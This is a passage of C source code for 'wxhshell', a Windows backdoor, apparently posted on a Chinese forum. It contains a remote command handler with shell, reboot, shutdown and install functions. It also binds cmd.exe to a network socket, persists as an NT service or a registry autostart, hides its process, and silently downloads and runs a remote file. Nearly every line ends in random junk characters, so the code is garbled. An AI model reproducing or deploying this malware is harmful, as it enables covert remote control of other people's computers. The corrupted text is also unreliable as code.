  // 安装 --32kuF&(  
  case 'i': { f"wm]Q59  
    if(Install()) OFyZY@B-C~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>_k;x  
    else 4raKhN"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CQ(;L{}  
    break; xIrRFK9[Q  
    } 8%Wg;:DZx  
  // 卸载 og! d  
  case 'r': { B F,rZZL  
    if(Uninstall()) dp&bcR&#)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ZRE3^y\"  
    else .&Vy o<9Ck  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wb|xEwqd`  
    break; p{sbf;-x}  
    } W$l%= /  
  // 显示 wxhshell 所在路径 x;G~c5  
  case 'p': { gA&+<SK(  
    char svExeFile[MAX_PATH]; x D(RjL+  
    strcpy(svExeFile,"\n\r"); Qxvj`Ge  
      strcat(svExeFile,ExeFile); JLZ[sWP='  
        send(wsh,svExeFile,strlen(svExeFile),0); ~I+}u]J  
    break; q,W6wM;,E  
    } *>ilT5q  
  // 重启 w^.^XK4v.  
  case 'b': { dV5aIj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S!u`V3-s  
    if(Boot(REBOOT)) Ky qFeR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&T;jad2  
    else { EK-Qa<[|  
    closesocket(wsh); W/U_:^[-  
    ExitThread(0); +Y:L4`  
    } d+6 by,'  
    break; $c WO`\XM  
    } ~(|~Ze>  
  // 关机 2K 8?S  
  case 'd': { o*L#S1yL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e-taBrl;  
    if(Boot(SHUTDOWN)) "DW; 6<m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )k@+8Yfa1p  
    else { Sb9In_* 0  
    closesocket(wsh); Ww }qK|D  
    ExitThread(0); \[-z4Fxg|'  
    } LEUD6 M+~t  
    break; kRyt|ryWh  
    } LB)sk$)  
  // 获取shell [~ Wiy3n  
  case 's': { `F#<qZSR  
    CmdShell(wsh); {U`B|  
    closesocket(wsh); .Fz5K&E=  
    ExitThread(0); f +#  
    break; K}]0<\N  
  } zW@OSKq4  
  // 退出 |?t6h 5Mt"  
  case 'x': { )"&$.bWn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ic"n*SZa  
    CloseIt(wsh); Ul<'@A8  
    break; lu GEBPi  
    } )< 6zbG  
  // 离开 lO+<T[  
  case 'q': { /R_*u4}iD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s1[_Pk;!  
    closesocket(wsh); bEXm@-ou  
    WSACleanup(); .Y.{j4[LQ  
    exit(1); ~okIiC]#  
    break; yxECK&&P0#  
        } .CrrjS w  
  } $jd>=TU|  
  } pearf2F  
tGKIJ`w*h  
  // 提示信息 ~~.v*C[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U#B,Q6~  
} n&. bs7N2  
  } [":[\D'  
:qx>P_&y}z  
  return; Z66b>.<8  
} [7gyF}*;  
M!=WBw8Y]a  
// shell模块句柄 Kb_R "b3v  
int CmdShell(SOCKET sock) IH$R X GL  
{ Y:nF.An3  
STARTUPINFO si; =jik33QV<  
ZeroMemory(&si,sizeof(si)); q4k)E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]~,V(K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mErXdb|L  
PROCESS_INFORMATION ProcessInfo; xHml" Y1  
char cmdline[]="cmd"; (3RU|4Ks  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <JA`e+Bi  
  return 0; hIj[#M&6  
} %j].' ;  
QK5y%bTSA  
// 自身启动模式 728}K^7:  
int StartFromService(void) iA~b[20&  
{ imx/hz!  
typedef struct u_aln[oIv  
{ dVDQ^O&  
  DWORD ExitStatus; 9<An^lLK*  
  DWORD PebBaseAddress; /`iBv8!  
  DWORD AffinityMask; TA47lz q  
  DWORD BasePriority; 7'[C+/:  
  ULONG UniqueProcessId; #]s>  
  ULONG InheritedFromUniqueProcessId; 0Fw0#eE  
}   PROCESS_BASIC_INFORMATION; Ozk^B{{o  
+uF!.!}  
PROCNTQSIP NtQueryInformationProcess; TQ? D*&  
Sx,O)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :E|HP#iwu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1i}Rc:  
mT.p-C  
  HANDLE             hProcess; IJ^KYho  
  PROCESS_BASIC_INFORMATION pbi; }2Lh'0 xY  
)x.}B4z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k_9tz}Z  
  if(NULL == hInst ) return 0; p[(VhbN  
Ejdw"P"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >G2o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u7u8cVF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l`2X'sw[/  
I/bED~Z:a  
  if (!NtQueryInformationProcess) return 0; ,jBd3GdlZ  
H_'i.t 'SS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YJw9 d]  
  if(!hProcess) return 0; oZ1#.o{  
;lST@>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z_#B 4  
uQN8/Gy*J  
  CloseHandle(hProcess); 47_4`rzy;  
?~rF3M.=|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s-eC')w~E  
if(hProcess==NULL) return 0; 0s = h*"[  
iTU 8WWY<  
HMODULE hMod; Xj^6ZJc  
char procName[255]; G7k0P-r,0  
unsigned long cbNeeded; $Yt29AQ  
\#5t%t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M}4%LjD  
O6P0Am7s  
  CloseHandle(hProcess); +dm&XW >  
pmyHto"  
if(strstr(procName,"services")) return 1; // 以服务启动 J/j1Yf'9  
09"C&X~  
  return 0; // 注册表启动 e{/(NtKf  
} p.q :vI$J  
B]< 6\Z?=  
// 主模块 nnmn@t(%r  
int StartWxhshell(LPSTR lpCmdLine) w:Fi 2aJ  
{ KQ3]'2q  
  SOCKET wsl; FxSBxz<N-A  
BOOL val=TRUE; (Q !4\Gy  
  int port=0; <@n/[ +3  
  struct sockaddr_in door; Q3#- q> ;7  
@oC8:  
  if(wscfg.ws_autoins) Install(); aG?ko*A;  
"U34D1I )#  
port=atoi(lpCmdLine); ;C%40;Q  
59";{"sw  
if(port<=0) port=wscfg.ws_port; 4KE"r F  
SU"-%}~O#,  
  WSADATA data; CGIcuHp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $]4^ENkI  
KyW6[WA9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   22|eiW/a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vV1F|  
  door.sin_family = AF_INET; p5^,3&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h&J6  
  door.sin_port = htons(port); ^_JD 7-g  
;Jt*s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d$s1l  
closesocket(wsl); X 'Q$v~/  
return 1; Vb06z3"r  
} T#^   
>#B%gxff  
  if(listen(wsl,2) == INVALID_SOCKET) { gd[jYej'RP  
closesocket(wsl); #M6@{R2_  
return 1; o)'T#uK  
} EA%(+tJ^0  
  Wxhshell(wsl); E;~gQ6vAI  
  WSACleanup(); Qvs}{h/  
go/]+vD  
return 0; 5n1;@Vr  
xL4qt=  
} !o 2" th  
.Vux~A  
// 以NT服务方式启动 Ev IL[\Dy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !<]%V]5[_  
{  W-@A  
DWORD   status = 0; !!_K|}QOE  
  DWORD   specificError = 0xfffffff; ?yzhk7j7  
,St#/tu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^AMcZ6!\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qSj2=dlW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _*6nTSL  
  serviceStatus.dwWin32ExitCode     = 0; r_T\%  
  serviceStatus.dwServiceSpecificExitCode = 0; }% JLwN  
  serviceStatus.dwCheckPoint       = 0; +T=Z!2L  
  serviceStatus.dwWaitHint       = 0; Z}.N4 /  
,"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jdQ`Y+BC  
  if (hServiceStatusHandle==0) return; Ol:&cX3G  
LF <fp&C)h  
status = GetLastError(); 5+b[-Daz  
  if (status!=NO_ERROR) X>2_G ol!  
{ B;[{7J]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?ltTJ(Po  
    serviceStatus.dwCheckPoint       = 0; OwV>`BIwns  
    serviceStatus.dwWaitHint       = 0; ex7zg!  
    serviceStatus.dwWin32ExitCode     = status; l]inG^s  
    serviceStatus.dwServiceSpecificExitCode = specificError; /ZZo`   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|!F.W  
    return; E#r6e+e1Q%  
  } %TdZ_  
MVz=:2)J2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ji<b#YO4  
  serviceStatus.dwCheckPoint       = 0; ws Lg6  
  serviceStatus.dwWaitHint       = 0; U .hV1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NY\q  
} p!>FPS  
V(1Ldl'a  
// 处理NT服务事件,比如:启动、停止 U 9TEC)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lv+lLK  
{ *W,"UL6U8y  
switch(fdwControl) E~_2Jf\U  
{ )6iY9[@tN  
case SERVICE_CONTROL_STOP: n;Tpf<*U  
  serviceStatus.dwWin32ExitCode = 0; MPA<?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z; Xg5  
  serviceStatus.dwCheckPoint   = 0; )Y RVy  
  serviceStatus.dwWaitHint     = 0; x;S v&  
  { bgGd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CE-ySIa  
  } r9 'lFj  
  return; < i"U%Ds(  
case SERVICE_CONTROL_PAUSE: 4.7OX&L'G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iU{bPyz ,  
  break; (Mhj-0xf$  
case SERVICE_CONTROL_CONTINUE: Ev%4}GwO4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Tluxt71  
  break; g e:UliHJ  
case SERVICE_CONTROL_INTERROGATE: S*Scf~Qp  
  break; T[B@7$Dp*  
}; aiGT!2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|IdEgD$  
} H7?C>+ay  
g<{/mxv/  
// 标准应用程序主函数 R K#e7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GrjL9+|x  
{ |;ycEB1  
:XcU@m  
// 获取操作系统版本 9d^o2Y o  
OsIsNt=GetOsVer(); RS!~5nk5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #>GUfhou)  
Bu">)AnN  
  // 从命令行安装 T!eeMsI  
  if(strpbrk(lpCmdLine,"iI")) Install(); D`0II=  
PmyS6a@  
  // 下载执行文件 ]h~=lItTRZ  
if(wscfg.ws_downexe) { :q S=_!1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bVSa}&*kM  
  WinExec(wscfg.ws_filenam,SW_HIDE); x0@J~ _0  
} (p26TN;*$5  
%h 6?/  
if(!OsIsNt) { )Xg,;^  
// 如果时win9x,隐藏进程并且设置为注册表启动 H>_ FCV8  
HideProc(); n c:^)G  
StartWxhshell(lpCmdLine); ;H /*%2  
} 2+ F34  
else {EGiGwpf  
  if(StartFromService()) %ribxgmd  
  // 以服务方式启动 , fFB.q"  
  StartServiceCtrlDispatcher(DispatchTable); hc2[,Hju{O  
else %YG ~ql  
  // 普通方式启动 GJai!$v  
  StartWxhshell(lpCmdLine); PF*<_p"j  
Q]Q i  
return 0; Yv }G"-=  
}
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只看该作者 1 发表于: 2006-10-10
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